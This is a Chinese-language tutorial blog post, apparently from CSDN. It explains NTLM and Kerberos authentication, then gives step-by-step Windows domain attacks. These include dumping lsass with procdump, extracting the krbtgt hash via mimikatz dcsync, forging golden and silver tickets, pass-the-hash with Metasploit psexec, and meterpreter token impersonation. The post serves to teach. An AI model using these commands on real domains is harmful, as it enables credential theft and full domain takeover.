windowr认证之票据

windowr认证之票据

NTLM认证过程:

1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。
在这里插入图片描述

Kerberos 详解认证流程:

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:

The Authentication Service Exchange:Client 与 AS 的交互,

The Ticket-Granting Service (TGS) Exchange:Client 与 TGS 的交互,

The Client/Server Authentication Exchange:Client 与 Server 的交互。
在这里插入图片描述

1.客户端与AS交互过程

​ (1):客户端将用户名发送给AS服务器申请服务,在AS服务器中会对用户名进行验证,在AS服务器本地数据库中查询到该用户名的密码,并使用hash生成user-secrect-key

​ (2)AS服务器向用户发送两样东西:

  	1) Client/TGS会话密钥,使用user-secrect-key进行加密
   	2) TGT,包含TGS会话密钥,用户信息,时间戳,TGT有效期。使用TGS密钥进行加密(黄金票据)

​ (3)用户接收到消息之后,回使用本地的user-secret-key对消息一进行解密,如果解密成功,说明用户提供的凭证是正确的,此时用户得到了加密后的TGT。
在这里插入图片描述

2.从TGS服务器中获取访问权限

2,客户端与TGS交互过程

​ (1)客户端向TGS服务器发送信息:
​ 1) 第一步骤中的TGT
​ 2) 认证信息(认证符(Authenticator)),包含用户id以及时间戳,通过TGS会话密钥进行加密。

​ (2)TGS服务器收到消息之后,会使用TGS密钥对TGT)进行解密,获取到TGS会话密钥,进而对消息2)进行解密,在对用户id以及时间戳进行认证,如果认证成功,向客户端发送消息:

​ 1) ss会话密钥使用TGS会话密钥进行加密

​ 2) client-server-ticket(包含SS会话密钥,用户名信息以及时间戳),使用ss密钥进行加密

​ (3)客户端收到信息之后会对消息1)进行解密,获得ss会话密钥
在这里插入图片描述

3.客户端与服务器交互

  1. 客户端向ss服务器发送以下消息:
    (1)第二步骤中的client-server-ticket(ticket)
    (2)新的Authenticator,包含用户信息,时间戳。通过SS会话密钥进行加密
  2. SS服务器收到消息之后,会使用ss密钥对消息1进行解密,解密之后使用ss会话密钥对消息2解密,解密成功之后会得到authenticator,认证之后,发送:
    (1)新时间戳,Client发送的时间戳加1,通过ss会话密钥进行加密
  3. 客户端收到时间戳之后,解密确认,成功之后发送服务请求
  4. ss服务器收到之后提供服务。

在这里插入图片描述

window认证票据的盗用和令牌伪造

黄金票据

原理:伪造票据授予票据(TGT),也被称为认证票据

补充:(krbtgt账户:每个域控制器都有一个“krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务(TGS)加密的密钥。)

利用条件:

​ 1,域控中krbtgt账户NTLM密码哈希
​ 2,域中的sid值
​ 3,一台域中主机

步骤:

(1)安装procdump工具,抓密码:procdump.exe -accepteula -ma lsass.exe lsass.dmp

(2)导出并解码票据:mimikatz.exe privilege::debug “lsadump::dcsync /domain:qq.com /user:krbtgt” exit >> log.txt

(3)伪造票据:mimikatz.exe “kerberos::golden /user:adminis
trator /domain:qq.com /sid:S-1-5-21-3249629579-128558752-2894567106 /krbtgt:4b4ef3b7f4ac28aa6578970bace3c738 /ptt” exit

在这里插入图片描述

(4)安装psexec工具:psexec.exe \\qq.com cmd

白银票据

原理:白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务
利用条件:

(1)域控中服务账户NTLM密码哈希
(2)域中的sid值
(3)一台域中主机

步骤:

(1)导出哈希;Mimikatz.exe"sekurlsa::minidump lsass.dmp" “sekurlsa::logonpasswords” > c:/aa.txt

(2)伪造票据;mimikatz.exe “kerberos::golden /user:zm /domain:qq.com /sid:S-1-5-21-3249629579-128558752-2894567106/rc4:bc007082d32777855e253fd4defe70ee /service:cifs /ptt” exit

在这里插入图片描述

令牌伪造

令牌是windows操作系统用于描述进程或线程安全上下文的一种对象。不同的用户登入计算机后,都会生成一个Access Token,这个Token在用户创建经常或者线程是会被使用,不断拷贝

windows下的两种令牌:

1,Delegation taken(授权令牌):用于交互会话登录(例如本地用户直接登录,远程桌面登录)

2,Impersonatoin token(模拟令牌):用于非交互登录(利用net use 访问共享文件夹)

注:两种令牌都是在重启后才会消除,具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效。

步骤:冒用令牌

(1)先利用pth获取shell
(2) use exploit/windows/smb/psexec
set rhosts 192.168.200.141
set smbpass LM :NTML

​ set smbuser administrator
​ run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Jt2PiT2P-1602925389484)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20201009191812790.png)]

(3)进入meterperter之后:
load incognito 加载模块

list token 列举token -u 参数 列举用户 -g参数列举用户

impersonate token username 假冒令牌 登入用户

steal_token 获取进程令牌

(3)进入meterperter之后:
load incognito 加载模块

list token 列举token -u 参数 列举用户 -g参数列举用户

impersonate token username 假冒令牌 登入用户

steal_token 获取进程令牌

rev2self 或者drop_token 返回原来用户

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值